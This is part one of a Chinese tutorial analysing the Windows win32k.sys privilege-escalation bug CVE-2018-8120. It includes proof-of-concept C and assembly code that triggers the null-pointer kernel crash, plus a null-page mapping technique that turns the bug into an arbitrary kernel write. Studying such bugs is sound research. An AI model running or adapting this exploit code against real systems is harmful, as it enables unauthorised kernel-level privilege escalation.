Windows内核提权漏洞CVE-2018-8120分析 - 上

robots

 

背景:

因一次需要提权时,苦于查找安全可行的Exploit,加上一直对二进制漏洞心怀仰慕,所以花了点时间从底层研究一下漏洞原理及漏洞利用的编写,因为是从零开始,在摸索的过程中也踩了不少坑,记录下来,以供借鉴和回顾。

 

工具:

  1. IDA pro
  2. PChunter
  3. win7x86虚拟机
  4. Visual Studio 2019
  5. WinDBG

 

提要:

这次挑选了Windows系统CVE-2018-8120权限提升漏洞来着手研究和学习,该漏洞产生于win32k.sys组件,由于该组件中的SetImeInfoEx函数未能正确处理空指针对象,且因该空指针对象可被用户控制,导致任意内存地址写入的漏洞,通过与Bitmaps GDI技术的结合,进一步扩展为任意内存地址读和写,最终可用于权限提升。

官方漏洞链接:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-8120

 

一、漏洞定位分析

根据披露的信息,我们使用IDA Pro来对win32k.sys组件进行反编译以定位相关的漏洞位置。

(一)符号文件

在此之前需要先了解一下“符号文件(Symbol Files)”,符号文件通常以.pdb作为扩展名,是EXE、DLL等二进制文件的调试信息文件,通常来说涵盖了二进制文件的全局变量、局部变量、函数名及入口地址等信息,可以理解为源代码。

由于符号文件程序包不时地需要更新,微软在2018年4月起,弃用了以往的离线下载方式,转而采用Microsoft公共符号服务器来提供下载。通过设置系统变量“set _NT_SYMBOL_PATH=srv*DownstreamStore*https://msdl.microsoft.com/download/symbols”,来自动加载符号文件。

符号文件详情:https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/microsoft-public-symbols

(二)函数定位及分析

完成对win32k.sys的反编译后,我们在Function Window搜索SetImeInfoEx,随后按F5转化为C Code进而得到SetImeInfoEx的伪源码。

阅读该方法的代码流程,留意红框圈出处,v3 = *(_DWORD **)(a1 + 20); 其中,a1为输入的参数,由于未对V3做空指针校验而直接调用赋值给V3,导致了非法访问。

得知SetImeInfoEx方法存在漏洞,自然就要找到在何处调用了该方法,点击IDA View-A,文件查阅,通过XREF关键字可知,方法NtUserSetImeInfoEx调用了存在漏洞的SetImeInfoEx方法。

通过查看NtUserSetImeInfoEx函数的伪源代码,可知,传入SetImeInfoEx的第一个参数为 v4 = _GetProcessWindowStation(0);

通过查阅MSDN微软开发文档(https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getprocesswindowstation),可知GetProcessWindowStation方法返回当前进程的窗口句柄。

既然有Get方法,自然也会有Set方法(https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setprocesswindowstation)

SetProcessWindowStation方法,可以将制定的窗口分配给调用的进程,使得进程可以访问窗口中的对象,比方说桌面、剪贴板等。

以及Create方法(https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-createwindowstationa)

经过这番分析,得知可以编写一个exe,该exe通过CreateWindowStation、SetProcesssWindowStation方法为当前进程设置窗口对象,而后调用NtSetUserImeInfoEx方法,进而触发SetImeInfoEx方法,而SetImeInfoEx方法的传参通过GetProcessWindowStation获得,受我们控制,因此,我们可以操纵SetImeInfoEx方法中v3的值。

链路为:CreateWindowSetProcessWindowStation->NtUserSetImeInfoEx->GetProcessWindowStation->SetImeInfoEx->v3->v4->qmemcpy

 

二、漏洞测试

(一)设置窗体

打开Visual Studio 2019 or 其他版本,首先调用CreateWindowStation得到tagWINDOWSTATION对象,随后调用setProcessWindowStation为当前进程设置tagWINDOWSTATION对象

#include <windows.h>

int main()

{

HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);

SetProcessWindowStation(hSta);

}

以下是tagWINDOWSTATION对象的结构(通过WinDBG查看结构体):

win32k!tagWINDOWSTATION

   +0x000 dwSessionId     : Uint4B

   +0x004 rpwinstaNext    : Ptr32 tagWINDOWSTATION

   +0x008 rpdeskList      : Ptr32 tagDESKTOP

   +0x00c pTerm           : Ptr32 tagTERMINAL

   +0x010 dwWSF_Flags     : Uint4B

   +0x014 spklList        : Ptr32 tagKL

   +0x018 ptiClipLock     : Ptr32 tagTHREADINFO

   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO

   +0x020 spwndClipOpen   : Ptr32 tagWND

   +0x024 spwndClipViewer : Ptr32 tagWND

   +0x028 spwndClipOwner  : Ptr32 tagWND

   +0x02c pClipBase       : Ptr32 tagCLIP

   +0x030 cNumClipFormats : Uint4B

   +0x034 iClipSerialNumber : Uint4B

   +0x038 iClipSequenceNumber : Uint4B

   +0x03c spwndClipboardListener : Ptr32 tagWND

   +0x040 pGlobalAtomTable : Ptr32 Void

   +0x044 luidEndSession  : _LUID

   +0x04c luidUser        : _LUID

   +0x054 psidUser        : Ptr32 Void

翻阅上图关于SetImeInfoEx函数的伪代码,其中第十行:v3 = *(_DWORD **)(a1 + 20);此处20转为16进制为0x014,也即获取tagWINDOWSTATION对象的spliIList成员的值。

由于通过CreateWindowStation初始化得到的tagWINDOWSTATION对象,其偏移量0x014的成员变量tagWINDOWSTATION->spklList默认为NULL。

因此通过setProcessWindowStation并调用NtUserSetImeInfoEx->GetProcessWindowStation->SetImeInfoEx->v3 = tagWINDOWSTATION->spklList,最终会导引至对空指针进行操作。

(二)系统服务

Q:那么问题来了,设置好窗体对象后,要如何调用NtUserSetImeInfoEx方法呢?

A:由于NtUserSetImeInfoEx方法属于内核方法,用户程序不能直接访问内核空间,但我们可以通过调用系统服务来间接访问内核空间中的数据和方法。

Q:什么是系统服务?

A:系统服务,是由操作系统提供的一组内核函数,API可以间接或者直接的调用系统服务,而操作系统以动态链接库(DLL)的形式提供API,比方常见的ntdll.dll、kernel32,dll

Q:系统服务如何实现让用户模式下的程序调用内核函数?

A:当调用系统服务时,调用线程将会从用户模式切换为内核模式,等待调用结束后再回归用户模式,这个过程称之为上下文切换。通常通过软中断或快速系统调用实现上下文切换。

(三)系统服务描述表

那么接下来,我们需要去调用系统服务,从而间接调用NtUserSetImeInfoEx方法。

在此之前,先来了解系统服务描述表(System Service Descriptor Table),在Windows系统中,维护了两张“系统服务描述表”,分别是SSDT(System Service Descriptor Table)以及SSDTShadow(System Service Descriptor Table)。

该表可以基于系统服务编号进行索引,来定位内核函数内存地址,以供系统或程序进行调用。

Q:SSDT跟SSDTshadow有什么区别?

A:前者涵盖的是有关ntoskrnel.exe、ntdll.dll的内核函数,后者则包含了ntoskrnel.exe以及win32k.sys、gdi.dll、user.dll中包含的内核函数。我们打开PCHunter,查看一下两张表即一目了然。以下分别是SSDT以及SSDTshadow

这次我们先来了解SSDTShadow(System Service Descriptor Table Shadow)影子系统服务描述表,该表主要用于处理user32.dll、GDI32.dll中所调用的方法,主要在win32k.sys中实现,也就是本次存在漏洞的组件。

以下是SSDT的结构(SSDT跟SSDTShadow结构一致),

typedef struct _SERVICE_DESCRIPTOR_TABLE

{

    PULONG ServiceTableBase;// 指向函数地址的指针,每个成员占4字节

    PULONG ServiceCounterTableBase;// 当前系统服务表被调用的次数

    ULONG NumberOfService;// 服务函数的数量

    PUCHAR ParamTableBase;// 服务函数的参数总长度,以字节为单位,每个成员占一个字节

} SSDTEntry, *PSSDTEntry;

在ServiceTableBase中,记录了第一个内核方法的内存地址,而该内存地址指向了不同的内核函数,其中,通过地址的偏移,我们可以遍历得到SSDT所记录的所有内核函数的内存地址(仅包含用户模式最常用的内核函数,并非囊括全部内核函数)

回归正题,我们在Win7 x86的环境下打开PChunter,点击内核钩子-ShadowSSDT,通过翻找可以查阅到我们所需调用的NtUserSetImeInfoEX的编号为550。

在每个Windows系统版本中,为了保持系统稳定可用,内核函数在系统服务描述表的排列顺序都是不变的,我们在Win7 x86的环境下打开PChunter,点击内核钩子-ShadowSSDT,通过翻找可以查阅到我们所需调用的NtUserSetImeInfoEX的编号为550。而550就是该内核方法的调用号。

WindowsNT基本的系统native调用有两百多个,而记录在SSDT中的内核函数,编号都小于0x1000,编号大于0x1000的系统调用号是微软扩展出来的。

而扩展出来的系统调用号用于动态安装的模块win32k.sys,记录在SSDTShadow,由于我们需调用的NTUserSetImeInfoEx属于win32k.sys,是扩展出来的系统调用号,因此将550转化为16进制为0x0226后,还需要添加0x1000的起始偏移,因此NtUserSetImeInfoE方法的内存地址偏移量为0x1226。

想要进一步了解系统服务调用和SSDT、SSDTShadow之间的过程和联系,可以查阅:https://blog.csdn.net/qq_41988448/article/details/102994374

(四)系统调用

想要通过系统服务调用号来调用系统服务,我们需要通过快速系统调用的方式进行调用,也就是KiFastSystemCall,而每个Windows版本中,快速系统调用函数的内存地址是固定不变的,记录在UserSharedData!SystemCallSutb当中,而在Win7 x86中,系统快速调用函数的内存地址为“0x7ffe0300”

Q:什么是系统调用?

A:系统调用,顾名思义,说的是操作系统提供给用户程序调用的一组“特殊”接口。用户程序可以通过这组“特殊”接口来获得操作系统内核提供的服务。从逻辑上来说,系统调用可被看成是一个内核与用户空间程序交互的接口——它好比一个中间人,把用户进程的请求传达给内核,待内核把请求处理完毕后再将处理结果送回给用户空间

Q:快速系统调用跟系统调用是什么关系?

A:快速系统调用是系统调用的一种。

Q:为何要通过系统调用方法来进行调用?

A:无论何时用户态线程调用系统服务,线程都将突然被允许运行特权操作系统代码。这对于操作系统来说是很不友好的。用户态线程可能破坏系统的数据结构或在内存中移动一些内容,对系统和用户产生巨大破坏。正因为如此,处理器通常提供一条只用于系统服务的特殊指令,而这条指令就是系统调用。

(五)编写poc

打开Visual Studio,使用汇编语言编写调用NtSetUserImeInfoEx方法,其中“0x1226”为NtUserSetImeInfoEx方法的地址偏移,“0x7ffe0300”为内存地址固定的UserSharedData!SystemCallSutb,快速系统调用函数的地址,下面汇编语义就是将调用号作为快速系统调用的参数,由快速系统调用函数查找调用号对应的内核函数,并进行调用。

__declspec(naked) void NtSetUserImeInfoEx(char* arg1)

{

__asm

{

mov eax, 0x1226;

mov edx, 0x7ffe0300;

call dword ptr[edx];

ret 0x04

}

}

__declspec(naked)是用来告诉编译器函数代码的汇编语言为自己的所写,不需要编译器添加任何汇编代码,通俗说可生成纯汇编。

官方解释:For functions declared with the naked attribute, the compiler generates code without prolog and epilog code. You can use this feature to write your own prolog/epilog code sequences using inline assembler code. Naked functions are particularly useful in writing virtual device drivers. Note that the naked attribute is only valid on x86, and is not available on x64 or Itanium.(混合汇编编写代码仅支持生成x86应用)

整合起来为:

#include <windows.h>

__declspec(naked) void NtSetUserImeInfoEx(char* arg1)

{

__asm

{

mov eax, 0x1226;

mov edx, 0x7ffe0300;

call dword ptr[edx];

ret 0x04

}

}

int main()

{

HWINSTA hStation = CreateWindowStation(0, 0, READ_CONTROL, 0);

SetProcessWindowStation(hStation);

char ime[0x800];

NtSetUserImeInfoEx(ime);

return 0;

}

编译成exe丢到Win7 x86虚拟机中执行,由于调用系统服务时产生了模式切换,进入了内核态,在内核态中,对空指针进行操作,进而触发了蓝屏。而在用户模式下对空指针进行操作,只会返回程序错误。

蓝屏触发,说明触发了空指针引用,定位到漏洞点。

(六)零页内存以及空指针赋值分区

在《Windows核心编程》关于内存结构的章节中指出:Windows系统存在空指针赋值分区,其范围从0x00000000至0x0000FFFF,由于这部分内存位于地址空间的最开始,因此也称之为零页内存,这段内存空间是空闲的,没有相应的物理存储器与之对应,因此对于这段空间而言,任何的读写操作都会造成异常。

在内核态会触发蓝屏,在用户态会触发程序错误。由于一个内存地址存储空间为1字节,由0x0000FFFF为65536此处为64kB。

Q:是否空指针分区或者零页内存就无法使用呢?

A:非也,通过调用ntdll.dll的NtAllocateVirtualMemory函数,通过特殊的小技巧,可以在零页内存分配内存空间,使得NULL指针可读,不会报错。

// 定义NtAllocateVirtualMemory函数结构

typedef NTSTATUS(__stdcall *MyNtAllocate)(

HANDLE   ProcessHandle,

PVOID* BaseAddress,

ULONG_PTR ZeroBits,

PSIZE_T  RegionSize,

ULONG    AllocationType,

ULONG    Protect

);

MyNtAllocate fun;

PVOID baseAddr = (PVOID)0x100; //以0x100作为起始地址

DWORD size = 0x1000; // 分配页面大小为4KB

fun = (MyNtAllocate)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");

if (fun == NULL)

{

printf("[-] fail to GetAddress");

exit(-1);

}

fun(GetCurrentProcess(),&baseAddr,0,&size,MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);//分配内存空间

对于Windows系统,在进程的虚拟空间申请一块内存时,该块内存默认为64KB大小对齐(分配内存的起始地址必须为64KB的整数倍),因此,当我们设置分配内存的起始地址为0x00000100时,系统会强制决定起始地址为0x00000000,由于我们分配页面大小选择4KB,因此分配得到的内存空间为0x00000000~0x00001FFF。

当完成内存空间分配后,原本的空指针赋值分区可读可写,所有当再次调用SetImeInfoEX方法时,便不再会触发蓝屏(蓝屏是因为对于零页内存的任意读写都会报错)。

至此,我们通过在用户态R3的程序中通过分配内存空间,设置内存数据,最终控制SetImeInfoEx函数中v3的取值,进而可以控制其随后在21行调用的qmemcpy(v4, a2, 0x15Cu);,达到任意地址写入的目的。

 

三、后续

结合本次内容,下一篇将结合BitMap技术,将任意地址写入,转化任意地址读写。

50加成券

(完)